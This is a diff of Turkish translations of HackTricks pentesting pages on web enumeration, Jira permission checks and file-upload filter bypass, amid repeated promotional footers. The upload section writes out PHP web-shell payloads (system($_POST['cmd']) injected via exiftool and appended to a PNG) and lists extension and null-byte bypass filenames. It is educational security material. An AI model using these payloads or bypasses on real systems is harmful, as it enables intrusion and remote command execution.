**Tavsiye edilen sözlükler:**
@ -281,41 +281,41 @@ Araçlar:
* _/usr/share/wordlists/dirb/big.txt_
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Brute-Forcing veya Spidering sırasında herhangi bir yeni dizin keşfedildiğinde, Brute-Force edilmelidir._
_Bruteforcing veya spidering sırasında herhangi bir yeni dizin keşfedildiğinde, Brute-Force uygulanmalıdır._
### Her bulunan dosyada ne kontrol edilmelidir
* [**Bozuk bağlantı kontrolcüsü**](https://github.com/stevenvachon/broken-link-checker): Ele geçirilebilecek HTML içindeki bozuk bağlantıları bulun
* **Dosya Yedekleri**: Tüm dosyaları bulduktan sonra, tüm yürütülebilir dosyaların yedeklerini arayın ("_.php_", "_.aspx_"...). Bir yedek dosyanın adlandırılması için yaygın varyasyonlar: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) **veya** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** aracını da kullanabilirsiniz.
* [**Bozuk bağlantı kontrolcüsü**](https://github.com/stevenvachon/broken-link-checker): Ele geçirilebilecek bozuk bağlantıları içeren HTML dosyalarını bulun
* **Dosya Yedekleri**: Tüm dosyaları bulduktan sonra, tüm yürütülebilir dosyaların yedeklerini arayın ("_.php_", "_.aspx_"...). Bir yedek dosyanın adlandırılması için yaygın varyasyonlar: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) **veya** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**'i** kullanabilirsiniz.
* **Yeni parametreler keşfetme**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **ve** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gibi araçları kullanabilirsiniz. Mümkünse, her yürütülebilir web dosyasında gizli parametreleri aramayı deneyebilirsiniz.
* _Arjun tüm varsayılan kelime listeleri:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
* **Yorumlar:** Tüm dosyaların yorumlarını kontrol edin, **kimlik bilgileri** veya **gizli işlevsellik** bulabilirsiniz.
* **CTF** oynuyorsanız, bir "ortak" hile, bilgileri sayfanın sağında (tarayıcıda kaynak kodunu açtığınızda veriyi görmemeniz için **yüzlerce boşluk** kullanarak) yorumlarda **gizlemektir**. Diğer bir olasılık da **birkaç yeni satır** kullanarak ve web sayfasının **altında** bir yorumda bilgi **gizlemektir**.
* **API anahtarları**: **Herhangi bir API anahtarı** bulursanız, farklı platformların API anahtarlarını nasıl kullanılacağını gösteren bir rehber vardır: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
* **CTF** oynuyorsanız, bir "ortak" hile, verileri sayfanın sağında (tarayıcıda kaynak kodunu açtığınızda verileri görmemeniz için yüzlerce boşluk kullanarak) yorumların içine gizlemektir. Diğer bir olasılık da, **birkaç yeni satır** kullanarak ve web sayfasının altındaki bir yorumda bilgi gizlemektir.
* **API anahtarları**: **Herhangi bir API anahtarı bulursanız**, farklı platformların API anahtarlarını nasıl kullanılacağını gösteren bir rehber vardır: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
* Google API anahtarları: **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik gibi bir API anahtarı bulursanız, anahtarın hangi API'lere erişebileceğini kontrol etmek için [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) projesini kullanabilirsiniz.
* **S3 Buckets**: Spidering yaparken, herhangi bir **alt alan adının** veya herhangi bir **bağlantının** bir **S3 bucket** ile ilişkili olup olmadığını kontrol edin. Bu durumda, [**bucket'ın izinlerini** kontrol edin](buckets/).
* **S3 Buckets**: Spidering yaparken, herhangi bir **alt alan adının** veya **bağlantının** bir **S3 kovası** ile ilişkili olup olmadığını kontrol edin. Bu durumda, [kovanın izinlerini kontrol edin](buckets/).
### Özel bulgular
**Spidering** ve **Brute-Forcing** yaparken **dikkat etmeniz gereken** **ilginç şeyler** bulabilirsiniz.
**Spidering** ve **brute-forcing** yaparken **dikkat etmeniz gereken** **ilginç şeyler** bulabilirsiniz.
**İlginç dosyalar**
* **CSS** dosyaları içindeki diğer dosyalara **bağlantıları** arayın.
* [Eğer bir _**.git**_ dosyası bulursanız bazı bilgiler çıkarılabilir](git.md)
* Eğer bir _**.env**_ dosyası bulursanız, api anahtarları, veritabanı şifreleri ve diğer bilgiler bulunabilir.
* **API uç noktaları** bulursanız, [onları da test etmelisiniz](web-api-pentesting.md). Bunlar dosyalar değil, ancak muhtemelen onlara benzerler.
* **JS dosyaları**: Spidering bölümünde JS dosyalarından yol çıkarabilen birkaç araç belirtilmişti. Ayrıca, bulunan her JS dosyasını **izlemek ilginç olabilir**, çünkü bazen bir değişiklik, potansiyel bir güvenlik açığına yol açmış olabilir. Örneğin [**JSMon**](https://github.com/robre/jsmon)**.** kullanabilirsiniz.
* Bulunan JS dosyalarını [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile kontrol etmelisiniz, zayıf olup olmadığını bulmak için.
* Bir _**.git**_ dosyası bulursanız, bazı bilgiler çıkarılabilir.
* Bir _**.env**_ dosyası bulursanız, api anahtarları, veritabanı şifreleri ve diğer bilgiler bulunabilir.
* **API uç noktaları** bulursanız, [onları da test etmelisiniz](web-api-pentesting.md). Bunlar dosyalar değil, ancak muhtemelen onlara "benzer" olacaklar.
* **JS dosyaları**: Spidering bölümünde JS dosyalarından yol çıkarabilen birkaç araç belirtilmiştir. Ayrıca, bulunan her JS dosyasını **izlemek ilginç olabilir**, çünkü bazı durumlarda, bir değişiklik kodda potansiyel bir zafiyetin tanıtıldığını gösterebilir. Örneğin [**JSMon**](https://github.com/robre/jsmon)**'u** kullanabilirsiniz.
* Bulunan JS dosyalarını [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile kontrol etmelisiniz, zafiyet içerip içermediğini bulmak için.
* **Javascript Deobfuscator ve Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
* **JsFuck deobfuscation** (karakterlerle javascript:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
* Birkaç durumda kullanılan **düzenli ifadeleri anlamanız gerekecek**, bu yararlı olabilir: [https://regex101.com/](https://regex101.com)
* Ayrıca, **formların tespit edildiği dosyaları izlemelisiniz**, çünkü parametrelerde bir değişiklik veya yeni bir formun görünmesi, potansiyel yeni bir zayıf işlevsellik belirtisi olabilir.
* Birkaç durumda kullanılan **düzenli ifadeleri anlamanız gerekecektir**, bu yararlı olacaktır: [https://regex101.com/](https://regex101.com)
* Ayrıca, **formların tespit edildiği dosyaları izlemelisiniz**, çünkü parametrelerde bir değişiklik veya yeni bir formun görünmesi potansiyel yeni bir zafiyetli işlevsellik belirtisi olabilir.
**403 Forbidden/Basic Authentication/401 Unauthorized (atlatma)**
@ -325,18 +325,18 @@ _Brute-Forcing veya Spidering sırasında herhangi bir yeni dizin keşfedildiği
**502 Proxy Hatası**
Eğer bir sayfa **bu kodla yanıt verirse**, muhtemelen kötü yapılandırılmış bir proxydir. **Eğer şu gibi bir HTTP isteği gönderirseniz: `GET https://google.com HTTP/1.1`** (host başlığı ve diğer yaygın başlıklarla), **proxy** _**google.com**_'a **erişmeye çalışacak ve bir** SSRF **bulmuş olacaksınız**.
Herhangi bir sayfa bu kodla **yanıt verirse**, muhtemelen kötü yapılandırılmış bir proxydir. **`GET https://google.com HTTP/1.1`** gibi bir HTTP isteği gönderirseniz (host başlığı ve diğer yaygın başlıklarla), **proxy** _**google.com**_'a erişmeye çalışacak ve bir **SSRF** bulmuş olacaksınız.
**NTLM Kimlik Doğrulama - Bilgi sızdırma**
Kimlik doğrulaması isteyen çalışan sunucu **Windows** ise veya kimlik bilgilerinizi isteyen bir giriş bulursanız (ve **alan adı** adınızı soruyorsa), bir **bilgi sızdırma** provoke edebilirsiniz.\
`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` başlığını **gönderin** ve **NTLM kimlik doğrulamasının** nasıl çalıştığı nedeniyle, sunucu iç bilgilerle (IIS sürümü, Windows sürümü...) "WWW-Authenticate" başlığı içinde yanıt verecektir.\
**Başlık** gönderin: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` ve **NTLM kimlik doğrulamasının çalışma şekli** nedeniyle, sunucu iç bilgilerle (IIS sürümü, Windows sürümü...) "WWW-Authenticate" başlığı içinde yanıt verecektir.\
Bunu **nmap eklentisi** "_http-ntlm-info.nse_" kullanarak **otomatikleştirebilirsiniz**.
**HTTP Yönlendirmesi (CTF)**
Bir **Yönlendirme** içine içerik **yerleştirmek mümkündür**. Bu içerik **kullanıcıya gösterilmeyecek** (tarayıcı yönlendirmeyi gerçekleştireceği için), ancak içinde bir şey **gizlenebilir**.
### Web Güvenlik Açıklarının Kontrol Edilmesi
**Yönlendirme** içine **içerik yerleştirmek mümkündür**. Bu içerik **kullanıcıya gösterilmeyecek** (tarayıcı yönlendirmeyi gerçekleştireceği için), ancak içinde bir şey **gizlenebilir**.
### Web Güvenlik Açıklıklarının Kontrol Edilmesi
Web uygulamasının kapsamlı bir şekilde numaralandırılmasının ardından birçok olası güvenlik açığı kontrol edilmelidir. Kontrol listesini burada bulabilirsiniz:
@ -344,7 +344,7 @@ Web uygulamasının kapsamlı bir şekilde numaralandırılmasının ardından b
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
{% endcontent-ref %}
Web açıkları hakkında daha fazla bilgi edinin:
Web açıklıkları hakkında daha fazla bilgi edinin:
* [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
@ -352,11 +352,11 @@ Web açıkları hakkında daha fazla bilgi edinin:
### Sayfaları Değişiklikler İçin İzleme
[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçları kullanarak sayfaları izleyebilir ve güvenlik açıkları ekleyebilecek değişiklikleri kontrol edebilirsiniz.
[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçları kullanarak sayfaları izleyebilir ve güvenlik açıklıkları ekleyebilecek değişiklikleri kontrol edebilirsiniz.
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_).
Eğer **hacking kariyeri** sizi ilgilendiriyorsa ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -432,14 +432,14 @@ Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:F
```
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -6,15 +6,15 @@
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin.
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_).
@ -22,9 +22,9 @@ Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek
### İzinleri Kontrol Et
Jira'da, **izinler**, herhangi bir kullanıcı tarafından, kimlik doğrulanmış veya doğrulanmamış olsa da, `/rest/api/2/mypermissions` veya `/rest/api/3/mypermissions` uç noktaları aracılığıyla kontrol edilebilir. Bu uç noktaları, kullanıcının mevcut izinlerini ortaya çıkarır. **Doğrulanmamış kullanıcıların izinlere sahip olması**, potansiyel olarak bir **güvenlik açığı** işareti olan bir durumu ortaya çıkarır ve potansiyel olarak bir **ödül** için uygun olabilir. Benzer şekilde, **doğrulanmış kullanıcılar için beklenmeyen izinler**, bir **güvenlik açığı**nı vurgular.
Jira'da **izinler**, herhangi bir kullanıcı tarafından, kimlik doğrulanmış veya doğrulanmamış olsa da, `/rest/api/2/mypermissions` veya `/rest/api/3/mypermissions` uç noktaları aracılığıyla kontrol edilebilir. Bu uç noktaları, kullanıcının mevcut izinlerini ortaya çıkarır. **Doğrulanmamış kullanıcıların izinlere sahip olması**, potansiyel olarak bir **güvenlik açığı** işareti olan bir durumu ortaya koyar ve **ödül** için uygun olabilir. Benzer şekilde, **doğrulanmış kullanıcılar için beklenmeyen izinler** de bir **güvenlik açığı** olarak belirtilir.
Önemli bir **güncelleme**, **1 Şubat 2019** tarihinde yapıldı ve 'mypermissions' uç noktasının bir **'izin' parametresi** içermesini gerektiriyor. Bu gereklilik, sorgulanan izinleri belirterek güvenliği **geliştirmeyi amaçlar**: [buradan kontrol edin](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
Önemli bir **güncelleme**, 'mypermissions' uç noktasının **1 Şubat 2019** tarihinde bir **'izin' parametresi** içermesi gerektiğini belirtti. Bu gereklilik, sorgulanan izinleri belirterek güvenliği **geliştirmeyi amaçlar**: [buradan kontrol edin](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
* ADD\_COMMENTS
* ADMINISTER
@ -78,22 +78,22 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_).
Eğer **hacking kariyeri**ne ilgi duyuyorsan ve hack the unhackable - **biz işe alıyoruz!** (_akıcı Lehçe yazılı ve konuşma gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hacking öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u takip edin.
* **Hacking hilelerinizi paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -6,15 +6,15 @@
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Discord** 💬 [**grubumuza katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) github depolarına PR göndererek paylaşın.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
@ -39,7 +39,7 @@ Diğer kullanışlı uzantılar:
2. _Çalıştırma uzantısından önce geçerli bir uzantı ekleyin (önceki uzantıları da kullanın):_
* _file.png.php_
* _file.png.Php5_
3. **Sonuna özel karakterler eklemeyi deneyin.** Burp'u kullanarak tüm **ascii** ve **Unicode** karakterlerini **bruteforce** etmeyi deneyebilirsiniz. (_Önceki uzantıları da kullanabilirsiniz_)
3. **Sonuna özel karakterler eklemeyi deneyin.** Burp'u kullanarak tüm **ascii** ve **Unicode** karakterlerini **bruteforce** edebilirsiniz. (_Önceki uzantıları da deneyebilirsiniz_)
* _file.php%20_
* _file.php%0a_
* _file.php%00_
@ -49,7 +49,7 @@ Diğer kullanışlı uzantılar:
* _file._
* _file.php...._
* _file.pHp5...._
4. Sunucu tarafındaki uzantı ayrıştırıcısını kandırarak korumaları atlamayı deneyin, uzantıyı **iki katına çıkararak** veya uzantılar arasına **gereksiz veri (null** baytları) ekleyerek. _Daha iyi bir payload hazırlamak için **önceki uzantıları** da kullanabilirsiniz._
4. Sunucu tarafındaki uzantı ayrıştırıcısını **yanıltarak korumaları atlatmaya çalışın**. **Uzantıyı ikiye katlama** veya **uzantılar arasına gereksiz veri** (**null** baytları) eklemek gibi tekniklerle. _Daha iyi bir payload hazırlamak için **önceki uzantıları** da kullanabilirsiniz._
* _file.png.php_
* _file.png.pHp5_
* _file.php#.png_
@ -61,10 +61,10 @@ Diğer kullanışlı uzantılar:
5. Önceki kontrolde **başka bir katman uzantı ekleyin**:
* _file.png.jpg.php_
* _file.php%00.png%00.jpg_
6. **Geçerli uzantıdan önce exec uzantısını koyup sunucunun yanlış yapılandırılmış olmasını umun.** (Apache yanlı yapılandırmalarını sömürmek için faydalıdır, burada uzantısı **.php** olan her şey, ancak .php ile bitmeyen her şey kodu çalıştıracaktır):
6. **Geçerli uzantıdan önce exec uzantısını ekleyin** ve sunucunun yanlış yapılandırılmış olmasını umun. (Apache yan yapılandırmalarını sömürmek için faydalıdır, burada uzantısı **.php** ile biten her şey kodu çalıştıracaktır, ancak mutlaka .php ile bitmesi gerekmez):
* _örn: file.php.png_
7. **Windows'ta NTFS alternatif veri akışını (ADS)** kullanın. Bu durumda, yasaklı bir uzantıdan önce ve izin verilen bir uzantıdan sonra iki nokta karakteri “:” eklenir. Sonuç olarak, sunucuda yasaklı uzantılı **boş bir dosya** oluşturulur (örn. “file.asax:.jpg”). Bu dosya daha sonra kısa dosya adını kullanarak düzenlenebilir. “**::$data**” deseni ayrıca dolu dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin ardından bir nokta karakteri eklemek daha fazla kısıtlamayı atlamak için yararlı olabilir (örn. “file.asp::$data.”)
8. Dosya adı sınırlarını aşmayı deneyin. Geçerli uzantı kesilir ve kötücül PHP bırakılır. AAA<--SNIP-->AAA.php
7. **Windows'ta NTFS alternatif veri akışını (ADS)** kullanın. Bu durumda, yasaklı bir uzantıdan önce ve izin verilen bir uzantıdan sonra iki nokta üst üste karakteri “:” eklenir. Sonuç olarak, sunucuda yasaklı uzantılı **boş bir dosya** oluşturulur (örn. “file.asax:.jpg”). Bu dosya daha sonra kısa dosya adını kullanarak düzenlenebilir. “**::$data**” deseni ayrıca boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin ardından bir nokta karakteri eklemek, daha fazla kısıtlamayı atlamak için de yararlı olabilir (örn. “file.asp::$data.”)
8. Dosya adı sınırlarını aşmayı deneyin. Geçerli uzantı kesilir ve kötü niyetli PHP bırakılır. AAA<--SNIP-->AAA.php
```
# Linux maksimum 255 bayt
@ -76,19 +76,19 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Payload'ı oluşturun
AAA<--SNIP 232 A-->AAA.php.png
```
### İçerik Türü, Sihirli Sayı, Sıkıştırma ve Yeniden Boyutlandırma Geçme
### İçerik Türü, Sihirli Sayı, Sıkıştırma ve Yeniden Boyutlandırma Engelleme
* **Content-Type** kontrollerini atlayarak **Content-Type** **başlığının değerini** şu şekilde ayarlayın: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
* **Sihirli sayı** kontrolünü atlayarak dosyanın başına **gerçek bir resmin baytlarını** ekleyerek (_file_ komutunu karıştırın). Veya **metadata** içine **shell** ekleyin:\
`exiftool -Comment="<?php echo 'Komut:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` veya ayrıca bir resme **doğrudan yük paylaşımı ekleyebilirsiniz**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` veya ayrıca **payloadı doğrudan** bir resme **ekleyebilirsiniz**:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* Eğer **resminize sıkıştırma ekleniyorsa**, örneğin [PHP-GD](https://www.php.net/manual/fr/book.image.php) gibi bazı standart PHP kütüphanelerini kullanarak, önceki teknikler işe yaramayabilir. Ancak, sıkıştırmayı **hayatta kalacak metni** eklemek için **PLTE chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanabilirsiniz.
* Eğer resminize **sıkıştırma ekleniyorsa**, örneğin [PHP-GD](https://www.php.net/manual/fr/book.image.php) gibi bazı standart PHP kütüphanelerini kullanarak, önceki teknikler işe yaramayabilir. Ancak, sıkıştırmayı **hayatta kalacak metin** eklemek için **PLTE chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanabilirsiniz.
